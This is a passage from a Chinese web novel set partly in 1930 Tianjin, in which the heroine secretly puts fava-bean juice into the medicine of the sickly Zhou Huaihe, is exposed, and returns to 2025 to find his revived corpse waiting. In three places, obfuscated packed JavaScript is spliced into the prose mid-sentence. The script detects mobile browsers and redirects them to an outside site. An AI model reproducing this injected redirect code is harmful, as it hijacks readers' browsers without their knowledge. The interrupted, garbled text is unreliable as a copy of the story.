方秋水想事情时下意识摸了胸前口袋里的怀表,眼睫虚虚垂着盯着桌上漂亮的字,右手无意识挑开了怀表盖,里头亮出一张人脸来,那张人脸葡萄藤一般从他的余光游了上来,叫他神色愈发冷峻,方秋水“啪”声阖上了盖子,阔步走出房间门找那女人讨个说法来,问问她所说的真心待人如何能够少了前两个字。 只是,敲了几下程筝房间的门,却不见人来开。 东边转角处房间,一道灰色衣摆晃过之后,缝隙合上了。 周怀鹤关上门,坐在桌子前头想事情,俄而听见外头继续有讲话的声音。 “程小姐什么时间回来?” 女佣人说:“她一早就出门了一次,中午时候回房间待了不多久,便又跟周太太一齐去一家叫“吉士林”的德国餐馆吃饭去了,现在应是在回程路上了罢。” 程筝在外头用过晚饭才回来。周太太年岁长一些,疲累得快,下了汽车后便打起连天的呵欠来,杨妈低低地唤她去沐浴。 程筝的脚也发起酸来,刚预备上楼去,杨妈便旋身凑过来,捎来一封信,程筝向下一瞧,奇怪道:“是寄给我的?” “是,封上写着程小姐名字呢,是家里来的罢?”杨妈猜了一猜。 她在这里哪里有什么亲信?怀着奇异的心情,程筝瞧一眼信封上的字,写得不很好看,可封口粘的很仔细,还融了花型的火漆蜡,寄信地址是东北。 捏着信封,她上了楼去,坐在茶桌边上拆了开,揿了电灯的开关,靠在椅子上查看起来。 “筝姐儿: 见字如面。寄信时还是末冬,早晚寒凉。 家中一切顺遂,诸事平稳,冬麦种下,病情好转,勿需挂心。除夕备糖糕时念及你嘴馋,便托人写下此信,你离家多日,不知近况,如有需要,我便托人寄些东西过去,愿吾女一切安好。 专此,即问近安。 母亲 一九三〇年二月十八日” 薄薄的信纸被浓黑的墨水浸了个头,手指捏在那钢笔字上还能印上一团团黑色的笔画。 程筝将那字迹又看了一遍,呼吸渐渐地缓了。房间像个红木笼子罩着她,里头烧着驱邪避虫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16421110|178680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的艾草,偶有一道发暖的春风钻过窗缝,拂到程筝颈子上来,温温的,带着后院的零星花香,吹散艾草的苦冲味道。 她久久地盯着那张信纸,察觉出来,这是一个人拙劣的谎言。 字虽有意写得不好,可是他实在不了解她家的情况。程筝家在王利民的驱使下早不种小麦,糖糕的事本是她改编了现代与姥姥之间的事,这里的父母更是没法子知道。 这事她只向一个人说过,于是这纰漏便明晃晃地指向一个人。 程筝将那张纸在桌上抚平,盯住许久,随后将头慢慢地埋进两只臂膊里头,趴了下去。头发挤在脖子周围,拱起来仿佛一圈灰黑色的围巾,叫人有些微地不好喘气。 她向下趴着,眼珠看向了那扇锁住的柜门,又心不在焉地闭上自己的眼睛,沉默,再沉默。 墙壁上的挂钟晃到午夜十二点,程筝复又坐直了身子,将信件收在屉子里,拉开另一边的屉子,从里头拣出一叠符纸来。 毛笔沾上朱色墨,程筝坐于茶桌边,低头画了一整夜的符纸,屋子里那盏蒂凡尼落地灯亮了整整一夜,北方城市微弱的春风也拂了她一夜。 看着堆满抽屉的符纸,她沉沉地想,这样应该够用。 一夜未眠,直至隔日清晨的天光一点一点被点亮,电灯的光夜不大明显了,程筝将蚕豆的皮剥去,只留下粒子,而蚕豆皮也不能够留在她房间里,程筝决定趁着清晨人最少,及时拎出去扔掉。 可是刚走下楼梯去,便撞上戴了帽子预备出门的周怀鹤。 坐了一夜,她正腰酸背痛,精神也不大光亮,回香炉对她的影响愈来愈深,程筝近些时候的耳畔时而发出爆鸣,脑袋昏得厉害,似乎是有什么法则限制着她,催她回自己的地方去。 眼前发片刻的青,程筝伸手想要撑住楼梯阑干,身子晃了一下,被人扶住了臂膊。 周怀鹤的眼睛掩在帽檐下的影子里,向下瞧了瞧她。 他这几日对她态度不很熟络,又客气礼貌了起来:“精神不好便上楼去,六姨太做什么要这样早起?” 他又开始以“六姨太”称呼她了。 程筝这些天被各种事情缠着,也很有些心烦,脑子也还痛着,一时回答不上,只是下意识紧攥住周怀鹤的胳膊稳住身子。 披肩下摆晃开一个角,周怀鹤的目光漫不经心向那里探去,瞧见一小团布袋子,冒出半截蚕豆青色的皮来。 倏地,他的身子像是被钉在了楼梯的木板上。周怀鹤视线像被压上了沉沉重量一般,艰难地移到程筝的脸孔上去。 她缓过神来,正欲感谢,周怀鹤空睁着一双黑色的眼,忽地将手臂移了开,他慢慢地向后退了一小步,叫程筝骤然捉了个空。 宽硕的帽檐几乎将他不大的脸颊全然吞进去了,程筝全然瞧不清他的脸,只看见他一贯淡色病白的嘴唇僵硬着掀开,发出平淡如茶的声音:“六姨太要做什么去?” 程筝将手臂汇拢夹住布袋,视线略有些回避,向另一面侧去,撒谎说着:“屋子里茶凉了,我口渴想要去煮茶喝。” “是么?” 袖口下瓷白的手指向里握了握,周怀鹤面上失去了一切能够显露心绪的表情,单是用指甲顶了顶掌心,只一下,然后放开。 “那你去罢。”声音从他双唇中飘出,一点情绪都无,周怀鹤撇开双眼下了楼。 回香炉带来的眩晕的感觉慢慢抽出身体,程筝仍立在原地,看着他低头拉开周公馆的大门。 她慢慢夹紧了披肩里藏着的东西,微弱地拧一下眉尖,在这天早晨走了很远的路,将那布袋子丢掉了。 25.第 25 章 决心下手的那一天,如同知道她心中所想一般,何师父来周公馆做客,说是来探望周五爷的情况。 程筝在自己屋子里静坐了许久才想出来比较隐晦的法子,她用一个帕子将蚕豆绞出半碗汁子来,余下一个拳头大小的豆渣,此时何师父等人都在外头,她将豆渣埋在了窗台花盆的土壤里,打算避过今天再处理。 刚将那花苗重新埋进盆里,便听得不远处房间里有不小的摔砸声——周五爷又对何师父动脾气了。 程筝静了静,将花盆的土锤严实,拧开房间的门侧身出去,杨妈她们正往周峥屋子里头赶去,程筝拦了一道,问:“里头正吵架么?” 杨妈蔫头耷脑:“事情都照何师父说的办好了,可五爷的情况仍不见好,他便恼火起来了。” 杨妈身后还跟着芸芸,手里端了一碗白水,程筝眯眼望去一眼,瞧见里头浮着的正是玉玲教她画过的符,青檀山的方士兴许都会这一招。 看来何师父还是打算用这样的手段了。也是,再不起来一点明显的效果,周峥对他的信任便要到尽头了,届时何师父难再留下来。 不过这种东西只会叫周峥更加放肆地抽烟,因此何师父才向来不对他使罢了。 杨妈正领着芸芸去给五爷送符水,程筝便又回到房间里,从窗子向下看,后花园里三三两两的人如蒲团般聚在一处,随后又散开,看样子眼多手也杂的。 她慢慢地闭了一会子憔悴的一双眼,又回身,目光迁移向桌子上那一半杯拧出来的蚕豆汁子。 “六姨太。” 经过花园时,常有人这样同她打招呼,亏得她之前跟这些老妈子的关系打得不错,人人见她总到花园里头来转也不作怪。 程筝佯装手上端了一盏茶,盖了盖子,脸上嫣嫣笑着撩开后厨的布帘子,瞧见今天给周怀鹤的药罐看火的是玉玲,心下不由卸掉一口气。 是自己人便更容易得手一些了。 玉玲正弓背坐在一张柚木板凳上给小炉子扇火,程筝靠过去,挤出一丝笑来:“陈先生先前同我说,你的功课不大认真,怎么呢?” 玉玲像一台投入工厂的顶精密的仪器,手肘不住晃动着,平声应她的话:“教了些顶无聊的东西,没趣,便不想学了。” “这些都是地基式的学问,连这些也学不会,怎么能够学更有用的呢?”程筝慢慢地提一口气上来,“你去将你的功课拿来我看看罢。” 小石头灶台里头的火苗还正旺着,玉玲抬脑袋张她一眼,程筝说:“就这么一小会,火还能熄掉不成?我替你看着就是。” 说话时,端着茶碗的手还有些略略不稳当,程筝向一旁的红漆柜子上一靠,稳住了。 玉玲瞧了她一眼,叹一口气,放下扇子从板凳上起来,在玉玲走后,程筝强撑出来的一些笑意顷刻间淡下去,她垂眸,掀开瓦罐将茶杯里头的蚕豆汁倒了进去。 今晚药端过去叫他饮下,也要有一日才能够出现症状,病发了也得一一排查他这几日的吃食,况且她这汁子混在药里也品不出个什么来。 即便这样想着,程筝盖上盖子以后还是慢慢地捏紧了五指,心中七上八下的。她安慰自己也是不得已,等事情做成了,还能够用符纸救回周怀鹤的,又不是真的要害死他。 她会救他的,至少让他能有这一世的命。 正当程筝愁眉耷眼琢磨事情时,玉玲回来了,见她白着一张脸靠在那红漆橱柜边上,玉玲将写字的本子递给她:“里头真没什么能看的。” 说着,略有些别扭,将头侧到一边去,拿本子在她眼前晃了晃,这时候才有一些小孩子情态来,平时都过于镇静了。 程筝像是才回过神来,心不在焉地将玉玲的功课本翻了几页查看,慢慢地说:“你觉得陈先生教得不很好么?” 玉玲沉下腔调:“我可没有这样讲,芸芸是很喜欢他的,所以我也不说他的不好了。” “你还挺爱屋及乌的。”程筝忍不住轻轻地笑了笑,随后沉吟半晌,合上她的本子,“如果像芸芸所说的,大家一起办个夜校呢?多找几个先生过来,你便能够好好学了罢?” 玉玲道:“可你什么时候能够有钱?” 程筝将功课本递回去,失神着说:“这我也不知道了。” 如若她能够留得再久一些,兴许这事还有做一做的机会,等钢铁厂的钱下到她手里,兴许还能做成别的生意。 牵动一下唇角,程筝端着空掉的茶碗出去,最后道了一句:“日后罢。” 说罢又回身,弯一双月牙眼夸赞她:“玉玲的文章写得不错的,将来定会成为顶厉害的人,日后再说与我听罢。” 玉玲将功课本捏得皱巴巴的,颇有些不好意思似的,见程筝走掉了,于是自顾自坐回板凳上,药罐里的中药咕咚咕咚飘出苦味,她看起自己的文章来,想着,程小姐怎么总说“日后”二字。 玉玲将夜校的计划向芸芸说道起来。 彼时芸芸与她的大姊庆蕊正将洗好的衣服挂在阑干上晾晒起来,一面挂一面幽幽地叹气,玉玲问她叹甚么气,芸芸便说:“程小姐这个人似乎经常没皮没脸笑嘻嘻的,可她只希望别人爱着她,自己却将心门紧闭。” 玉玲个头不很高,用脑袋顶住晾衣裳的阑干,静静听着。 “她帮了我们许多,可我总觉着,她与人是留一道很高的门槛,她对我们都很好,每每我们几个有困难,她总会帮着想法子,可是她自己的难处可从未同我们讲过,程小姐总是自己一个人,也没到我们的热闹里头来。”芸芸将程筝的衣裳挂上去,喃喃道:“她在公馆里头哪里能不难呢?吃穿用度都得看周家人的脸色,所以我先前提办学校,其实是想叫她届时有份稳定的钱收,省得掣肘于他人。” 玉玲闲闲说:“所以你才费工夫磨陈先生找人帮着办好这事么?周太太说你是老丫头了,正愁给你找个好人家。” 芸芸脸一僵,嗔怪地拿湿衣裳扔她脑袋上头去:“你真是!无法无天了!” 玉玲“呵呵”笑了两道,俩人打闹须臾,她又被杨妈叫过去上菜了。 周五爷喝下符水后还睡着,周太太便留何师父用个便饭,等五爷醒了再看看他的情况,听闻此言,方秋水嘴里的东西食之无味。 周五爷情况转好多少与他的盘算背道而驰了,回国以后,似乎事事都不顺着他想要的方向发展。 这样想着,视线便挪到饭厅里另一张秀丽的脸上去。程筝正心不在焉嚼着东西,捉到他的视线后挑过来一眼,方秋水想到昨天还留下一个问题没能够问到,饭后要将这事谈分明,论清她究竟是谁的人。 只不过方秋水没有预料到,今晚将有大事发生。 周怀鹤正正好好在饭前回到公馆,待到引擎熄了火,王发沉声道:“我先前便提醒过你,如今你该知晓我并无虚言了罢!待会儿我便找杨妈拿了钥匙去房间里寻,准能找着点什么!” 汽车静了火,周怀鹤一直静声,忽地开了口:“是你嘴不严实,将我的弱处到处讲。” 王发一时无言,又辩解起来:“究竟是怪我还是怪程小姐?我那时也不知她是个叛徒。” 他十分愤然:“嘴上太会说的女人一定是不真心的,准是程小姐甜言蜜语将你哄得团团转,鹤少爷着了她的道了!她是二少爷的人,是要来害你的!” 周怀鹤的病容绷得几近皲裂起来,喝止:“闭上嘴。” “都这样了还不叫我说她一点不好,你醒醒罢!”王发唉声叹气,周怀鹤整整一日都心不在焉,从早晨撞见程筝之后便失掉了所有的心思,仿佛剩下个空壳,无尽地陷入猜疑中。 周公馆里正灯火通明,玄关铺陈着大团的暗花地毯,靴子踩上去无声无息,周怀鹤在盆子里净过手,落座时收敛住下颌,明瞳点墨,只是此时那双眼睛暗暗一片晦然,叫程筝探不出半点心思。 周怀鹤于她而言变得很难猜——这个心思冒上心头的时候,程筝停住了筷子。 晚饭用到一半,老妈子将周怀鹤每日要喝的药舀了上来晾着,程筝略略回缩手指捏住筷子,向嘴中送去。 一张长方形的饭桌上,装着一群各怀鬼胎的人,各自有各自的心思要想。 周太太是最没什么心思的那个,一面吃着,一面给怀胜喂东西,剩余的人都不轻快。 在周怀鹤的目光停在那碗药上的瞬时,程筝的一颗心也提了起来,她不自觉将视线跟了过去,缓缓地吸一口气,没能够吁出去。 感知到程筝的紧绷,周怀鹤敏锐地察觉出一些什么来,便垂下眼,瞧见碗里倒出了他镇静的脸孔。 她先前说了那样多的甜言蜜语,仅仅是为着这一刻么。周怀鹤迟疑地眨一下眼,脸孔被澄澄一片吊灯的光给照透了,少顷,他不多开口,那张病态的脸上仿佛显出裂帛似的痕迹,他无声地将那碗药掀翻在地。 瓷碗从二人的视线中间掉落,落地炸开,一声炸耳的响,像是刻意掀给她看的,程筝憋住的那口气也随着这道响沉进了胸腔里,再没能够出来。 佣人惊了一道,只当他不当心碰掉了碗,陡然间发起讪来,疑心一贯温和好脾气的鹤少爷怎地突然这样阴晴不定,比二少爷还要多些古怪! 何师父静静放下筷子,程筝也停住手了,周太太纳罕地望着几个人,由着怀胜从她腿上跑走,闷头溜到楼梯那处去。 这碗一摔,似乎一切都不对劲起来。 后花园里,王发一回来便急冲冲找杨妈要公馆里所有柜子的钥匙,他要搜些东西。 上完菜后大家伙正预备用自己的饭,突地遭他打断,杨妈疑惑道:“搜什么东西?” “鹤少爷这几天吃过的所有东西都列个单子给我!还有,程小姐近来到厨房来过没有?”王发只问。 “程小姐?这个不大清楚,不过厨子向来很当心的,鹤少爷吃的东西里绝不会有半点豆子,究竟是出了甚么事?鹤少爷犯病了么?” 玉玲眼睛一撇,拧动眉毛想起什么来,于是面色沉沉地捏着手,静悄悄掀帘子出去了,从阑干上扯了几件衣裳,说要送去程筝的房间。 她快了王发一步,在程筝房间里搜了好一番,正以为是自己疑心重猜错了程小姐,转眼瞧见窗户外头一群鸟雀正在啄那花盆里的花根。 玉玲定眼瞧了一瞬,抱起那花盆要走,不料时间不赶趟,她被王发堵在了门口。 三楼传出来巨大的动静,饭厅里几人的注意力便顷刻间被掠夺。 程筝双手握了拳,向上看见王发和玉玲从自己房间一齐出来了,一串寒蝉蠕蠕似有多脚的虫子沿脊骨攀爬上来,咬得她如芒刺背。 王发将玉玲从楼上拎下来,她一张营养不良的瘦骨脸儿,小鸡儿似的被成年男人拽下来,一双不大的手上还盖着土。 程筝一瞧她怀里那花盆,眼睫毛抖了一抖。 那一刻,她想,要坏事了。 如此一闹腾,这饭也不消吃下去了,几人一齐离座,老妈子们收拾被周怀鹤打翻的瓷碗,程筝亦撑桌站起来,何师父徐徐行至她身侧,看着乱作一团的周公馆,低声向她道: “程小姐知道你为何失败了么?” 程筝身子如钢钉般钉住,不言语。 “因为你总在犹豫。犹豫要不要试探我、犹豫要不要下手、犹豫何时下手。犹豫的人总有许多尾巴被别人揪住的。”何师父说,“如若你心底里不忍心害人,你便做不成。有的时机一旦错过,便处处是把柄。” “呵。”程筝受迫笑出一声,“何师父是想说,我无论如何引诱你出手,都是枉然么?” 何师父向下看着她,道:“也许我这样说,你并不信我,认为是狡辩,然而,程小姐。” 顿了片刻,他说道:“你想的那个人不是我。” 低声谈话时,王发已然将玉玲拽到大厅里了,程筝脑中又陡然开始发胀发痛,何师父的靡靡之音如鹰隼一般在脑中盘旋来去,她忍住钝痛回身向他瞪去一眼,内心惶惶一片,不觉他可信:“你撒谎!除了你还有谁知道那种法子!” “既然你知道我是为什么来,便也知道这事情我耽搁不了,我有我要救的人!” 何师父一直沉稳着,说:“我亦有我要救的人。” 要救的不就是周怀鹤!如今你跟她说她的试探全是错的,你不是那个人,可整个天津城究竟还有谁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她像是很不好受的样子,陈设富丽的小客厅里亮着几盏淡黄绸罩子的大电灯,将程筝的脸映白的同时,将周怀鹤的脸一点点映出青色,他袖口下的胳膊绷直了,几乎是厌恨着她,她对别个倒是有几分赤忱的,单单对自己全是挂在嘴唇上的假意,嘴唇后面便是似蜜的剑刃,是下在他药里的毒。 “是我做的,玉玲是念我的恩情替我担罪。”程筝板直的背脊如同刀鞘,说得舌敝唇焦,“鹤少爷早疑心我了罢?否则怎会叫王发专去搜我的房间,我应当早就暴露了,如何辩解都已经没有用处了。” 周怀鹤的视线静静地从上到下瞧着她,他一副很慢很仔细的声口,质问她:“我有哪处,得罪过你么?” “没有。”她说。 程筝避开他的视线,喘息的频率愈发高了起来,她这身子恐要撑不住了,就快要被回香炉带回去。 “那你究竟是为了什么?”周怀鹤一面沉沉问着,一面有些自己的猜疑,用视线射向方秋水。 方秋水本是淡着一张脸,眼睛半闭不闭,一派讥诮的神色,见周怀鹤朝他看过来以后,便微微勾唇笑了一道,心想,程筝不可谓不是一个心狠的女人。 他那笑意本是嘲讽周怀鹤吃了女人的亏,可在后者看来他是有些得意了。 程筝不应声了,呼吸愈渐急促,此时楼上的杨妈怪叫一声,道:“这屉子里头全是符啊!” 周太太是从未想过有今天这回事,恍然的眸光徐徐落在程筝身上,有些发起晕来了,嘴里喃喃着:你怎会这样呢?杨妈捏着厚厚一叠黄符,拿给何师父瞧:“全是从程小姐上了锁的屉子里头搜刮出来的!怎地跟五爷今日喝的符水一个样子呢,究竟是好东西还是坏东西?” 何师父查看了符纸的数量,心间已然彻悟,他缓缓地看向程筝的背影,簌簌的黑发摞在她肩头,他知晓她沉默的原因。 要如何说那万千的苦衷呢?害一个人,再救一个人,这样费心思,却没有得到她想要的结果,走错了路,白来这一趟。 玉玲拉扯着她的衣服,低低地骂她:“你傻么?” “嗳。”程筝慢慢吸一口气,再吐一口气,身子晃了几晃,已是不剩几分力气,“谁叫你出来逞这个能?你真当我是什么好东西么?” 下人们还生出许多猜疑:“之前便觉着奇怪,乡丫头怎么识文断字的,是谁家派来的么?” “程小姐的来历也没有一个人晓得呀,过年她都不给家里寄信去呢!” “那好些日子你们觉着她要做姨太太了,一个两个姊姊妹妹地喊,如今怎么当起明白人来了?” 于是便都噤声了。 玉玲直直望着她的背影,觉着那影子较她要宽些、高些,她垂下脑袋,便又想到芸芸说的:她与人是留一道很高的门槛的。 少有人从这道门槛跨到对面去。 霜浓月薄的银蓝的夜里,有人怀疑她,有人痛恨她,有人认为自己错信她。 程筝将胸腔那口气挤干净,鼻腔之中燃香的味道愈渐浓厚,她等着被传回她应该在的地方去。也属实是累了,在这里待了太久,也真的想念姥姥姥爷了。 无数人还想要问起符纸的来历,租界的巡捕车便到了,程筝有些待不住了,眼睛半片都是黑的,将将要闭上,臂膊忽地遭谁一扯,她看见一双模糊的、略有些收缩的瞳孔。 “程筝!”周怀鹤跌一步过来,弯腰拉扯住她,唤她的全名,从他的身体上传来微弱的温意。 方秋水不觉拧眉,皮鞋向外踏出一步,又收了回去。 程筝这才发觉自己不知几时已经出了一身的冷汗,她没有一个字好对周怀鹤讲,脑袋一沉便再无意识,晕厥之前周五爷正好披外衣从房间出来。 数不清的视线落在她身上,程筝瞧见的是一双双围观她人命运的,群狼环伺的眼睛。 她突然意识到,自以为作为先知者高明地审判、扭转他人的命运,可到底自己也是那瓮中鳖。 下一刻,那些眼睛消失不见,一呼一吸之间,她瞬间睁眼,从教师公寓的床上醒来,冷汗浸透了背脊。 26.第 26 章 现代,二零二五年五月二十日,程筝回来了。 床头柜上回香炉里的半炷香燃至尽头,香灰一歪,倒在炉子里,老教师公寓的窗台外面攒了一层飘来的杨树花,程筝从床上坐起来,意识好似还没抽出来似的,乍一看见屋子里现代化的设施还回不过来神。 手机已经没电关机,她拉过充电线插上,重新开机,弹进来数十条覃梦华的消息。 “领导说你休产假去了??我不记得你结过婚啊!” 隔了一周。 “感谢程主编!上次那个稿件过了!” 程筝一边揉太阳穴醒神,一边单手发过去一个夸赞的表情包,已经想不太起来是哪篇稿子了,看了眼日历,时间已经过去一个月。 炉中一年,现实时间流逝一个月,但她的身体除了有些晕眩,并没有出现别的不良反应。 静坐了没多久,程筝脑子清晰起来,扔下手机便打开房门走去客厅里,依稀记得穿越之前她给周怀鹤喂符水的时候将青花瓷坛子挪到了窗台下面。 可仔细一瞧,坛子里居然是空的! 不见了?程筝倒吸一口气,立马快步走去神龛底下的柜子,正预备弯身拉开柜子,耳畔忽地听见极慢极拖沓的脚步声,沙——沙——像腿脚还没有完全长好的样子。 程筝用余光缓缓瞥向脚下,冷不丁发现一条瘦长的黑影,她屏住呼吸,寒毛瞬时立了起来。 在她身后,一双深黑的眼睛正直勾勾盯着她,眼瞳深处泛起些灰白色的涟漪,空空的眼睛里只框得住她的背影。 程筝憋住一口气,眼疾手快地抄起神龛上面的牌位,回身瞬时压在他脑袋上。 立刻,黑影没法动弹了,只剩下抬起一半的胳膊。 尽管靠得这样近了,她的鼻尖几乎要顶到他锁骨,面前的人却没有心跳也没有呼吸,一切都很安静。 程筝的视野里出现一截苍白瘦削的下巴,她顺着向上看,只瞧见一双漆黑的眼珠如同缝在灰白色的眼眶里,眼眶是略略扩张的,难以置信地挪动眼珠,向下望着她。 确认周怀鹤不会再动以后,程筝慢慢向后退了一步,松开手。 她向后退,周怀鹤的目光伴随着她往远处去。 不知道他何时从坛子里爬出来的,身上穿的还是她放在沙发上的衣服,于他而言有些窄小,最上面几颗扣子扣不上,散开的,裸露出毫无血色的皮肤,血管是极淡的青色。 程筝慢慢松掉一口气,看见他滞在半空中的手指,误以为他要掐死她,躲远了些。 毕竟自己穿越的这一年里也没做好事,还想要害死他,周怀鹤估计要恨透她了,想起晕厥前那些眼神,心里还发着怵。 “怎么爬出来的……”她嘀嘀咕咕起来,皱着眉环视客厅,到处都很干净。 沙发上乱扔的衣服都被整齐地叠好了,姥姥姥爷的衣服也被洗好晾在了窗台上,地上一点灰尘都没有,墙角有几处凝干的水迹,应该是勤快地拖过地板。 桌子上有半袋拆开的面包,电视开的是静音,茶几上摞着几本书,都是从姥姥姥爷的书柜里抽出来的,看过的部分还折起个角做了标记。 程筝又转头看向周怀鹤,迟疑出声:“你——” 周怀鹤安静地看着她,眼都不眨。 总而言之,先给玉玲打个电话。现在程筝脑子里很乱,她拧着眉毛走进房间里拿手机,程筝一面打电话,一面将视线落远,瞧见窗台上的花盆土壤是湿的,有人定期在给她的花浇水。 心间微动,她慢慢地颤了下眼睫,听见电话那头传来的是关机的提示音,程筝心烦地挂掉电话,习惯性咬住下唇,又给姥爷打过去。 “喂,姥爷,你还在医院吗?”程筝焦急地问着,她还记得何师父跟她说姥姥的情况不好,于是她才着急地推流程,结果弄得一团糟,“姥姥现在怎么样?” 电话那边安静许久,片刻后响起姥爷犹疑又沙哑的嗓音:“已经进重症监护室了。” 几个字碰撞着她的耳膜,程筝“腾”一下从床边站起来,走到窗户边紧捏住手机,心脏沉沉下坠。 “医生说脑瘤压迫到脑神经,造成肢体瘫痪。” “你打通过玉玲师父的电话吗?我联系不上她了。” “两个星期以前你姥不能动了,我就上青潭山上去了一趟,那边的师父说,玉玲受罚被关起来不能够再下山了,我也见不到人。”顿了顿,姥爷说,“如果实在没有办法的话,还是采用北京那个医生的方案吧,总归有点希望。” 似乎晃神回忆着什么,姥爷说:“找亲戚朋友借一些,再不济将我们那老房子卖掉。” “有得救的……有得救的。”老人喃喃道。 程筝默了许久,说:“你等等我……我会有办法的。” 挂了电话,程筝一脸凝重,在地图里搜找去往青潭山的路线,路线太长,时间又太晚,只得明天一早再出发了。 心情一番七上八下以后,程筝后知后觉饥肠辘辘起来,先去浴室洗个澡,将沾了汗的衣服换下来,湿着头发去客厅,从桌子上那半袋面包里拣出一片咬在嘴里。 一回头,狐狸精还穿着她的衣服盯着她看,程筝站在原地跟他对视几秒,又去拉冰箱的门。 好家伙,都被这人不人鬼不鬼的东西吃空了。 他什么都没有,也没法出门买东西,手机支付恐怕更是不会,只能留在这屋子里坐吃山空。 不过,都已经死了,还需要吃东西吗?程筝不懂。 她就将人留在客厅里如同雕像一般站着,吹干头发以后出门去最近的便利店采购吃食,关灯的一瞬间,客厅里黑了下来,不知是不是她的错觉,程筝好像听见那人呵了一口气,有种微弱的窒息一般。 楼外是与民国截然不同的生活,一时间叫程筝觉得有些恍然,没有守在大门口等着拉客的车夫,商店门口摆着的是音响不是无线电,买完东西只需要碰一碰,程筝便可以提着一大袋子东西回家。 她坐在教职工小区楼下的长椅上,吹着热风慢慢拆开一根雪糕,脑子里发起空来,咬下去冰得她牙齿都像是要脱落。 眼前有老人牵着她的孙子从藤架子底下走过去,程筝的目光追着他们,想起小时候程芸菁也是这样带她的。 一共就两次机会,第一次失败了,下一柱香是两年时间,再失败就没有机会了,可是事情反而越变越难办。 何师父说给周怀鹤续命的不是他,虽然这口头的话倒不定是真的,但程筝还是在脑子里细细排查起来还可能是谁,周太太都说周怀鹤不常与人交往,父子关系也恶劣,那究竟还能够是谁? 她茫茫然排除着答案,才恢复不久的脑仁又开始发疼,叹一口气,扔掉雪糕棍子便上楼去了。 灯一打开,那道如影随形的视线又黏在她身上,叫程筝有些不大适应起来,她“啧”了一声,找了个眼罩把狐狸精的眼睛给蒙起来了。 “你别看我了,真不是故意要害你的。” 视觉也被剥夺以后,周怀鹤微地抿住发干的唇,脸色更白了。 程筝一手摁着他脑袋顶上的牌位,一手推着他,像摆弄一个人偶一般摆弄他的四肢,让他坐在椅子上,牵着他两只手规规矩矩摆在双膝上,周怀鹤用了几分力气握住她的手,他毫无人的体温,摸上去像一个冰凉的假人,程筝用力将手抽了出来,复杂地站在周怀鹤旁边盯住他几秒。 用速食食品填饱肚子以后,她便收拾起东西来,打算第二天一早就赶去青潭山找玉玲师父,毕竟此时她是自己唯一可以依靠的人了,程筝有好多事情想要问。 查了许久的资料,还是竹篮打水一场空,程筝准备休息了,便关门睡觉。 客厅里全然暗下来,弯刀似的月亮悬在半空,一点雪白的光从防盗窗横下影子来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16450377|178680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从周怀鹤的鼻尖滑到紧抿的嘴唇上,那嘴唇愈抿愈紧,如果此时他的汗腺功能还正常的话,也许已经起了些微的冷汗了。 他在坛子里被关了将近一百年,锁在那个暗无天日的柜子里面。周怀鹤不喜欢黑,不喜欢什么都看不见。 窗户外,一道猛风灌进来,树影沙沙,顶在他脑袋上的牌位也掉了下去,摔在地板上发出哐当的响声。 端坐许久的周怀鹤驱动四肢,借这个契机摘掉了眼罩,双眼见光的时刻才能够假装呼吸一次。 他将掉在地上的程筝的牌位捡起来,拖着不太好用的腿脚将其放回到神龛上面摆着,随后娴熟地打开冰箱,将那半袋面包拿出来慢慢地嚼。 其实他不需要吃饭,只是周怀鹤自认为要保留作为人的习惯,不愿意承认自己是以一具尸体的形态存活着的。 他慢慢地吃东西,慢慢地将程筝查资料时胡乱写下的草稿理好,看见上面几行字,表情是死人一般的平静。 茶几下面的抽屉也是打开的,与程芸菁他们的身份证件摆在一起的,是程筝的收养登记证件。 周怀鹤将那收养证件拿出来看,一页一页翻过。 时间过去了一百年,周怀鹤还有些微记忆,在他刚跟那青花瓷坛子一起被程芸菁搬进这所屋子的时候,听见过小孩子的声音。 有一日程芸菁突然半夜里起来,像是喝水,席地坐在那座神龛面前,话像是说给他听。 “我将程筝带回来了,没想到时间这么不恰好,她还那么小,我这么老了,小丫头只能喊我喊姥姥了。” 程芸菁的声音隔着一道柜门传进去。 “去福利院的时候,那个院长说,她是最聪明的小孩,考试永远考满分,从不叫人担心。她对福利院里的老师很好,对身边的小孩子也很好,大家都很喜欢她,跟以前一样。”程芸菁缓了几秒的声口,“我第一次见到她的时候,她露一排上牙齿对我笑,怀里是从外头抱回福利院的脏兮兮的猫,院长说那猫身上有跳蚤,程筝这小孩笑嘻嘻地将猫放台阶上,说那待会儿都洗个澡。” 停了许久,周怀鹤在黑暗里听见程芸菁说:“我知道她为什么擅长讨人喜欢,为什么总是假装蹦蹦跳跳。” “因为她是个孤儿。” “我有的时候觉得后悔,是不是真的要听玉玲的话将她领养回来,再让她承担一些新的责任,也许没那个必要,她可以被更好的人家领养走,快快乐乐地忘记这些事。” “我觉得我和玉玲都做错了,如今也只能将错就错。” 程芸菁敲了两下柜门:“她有一天肯定会发现你,希望到时候大家都能有个好结局。” 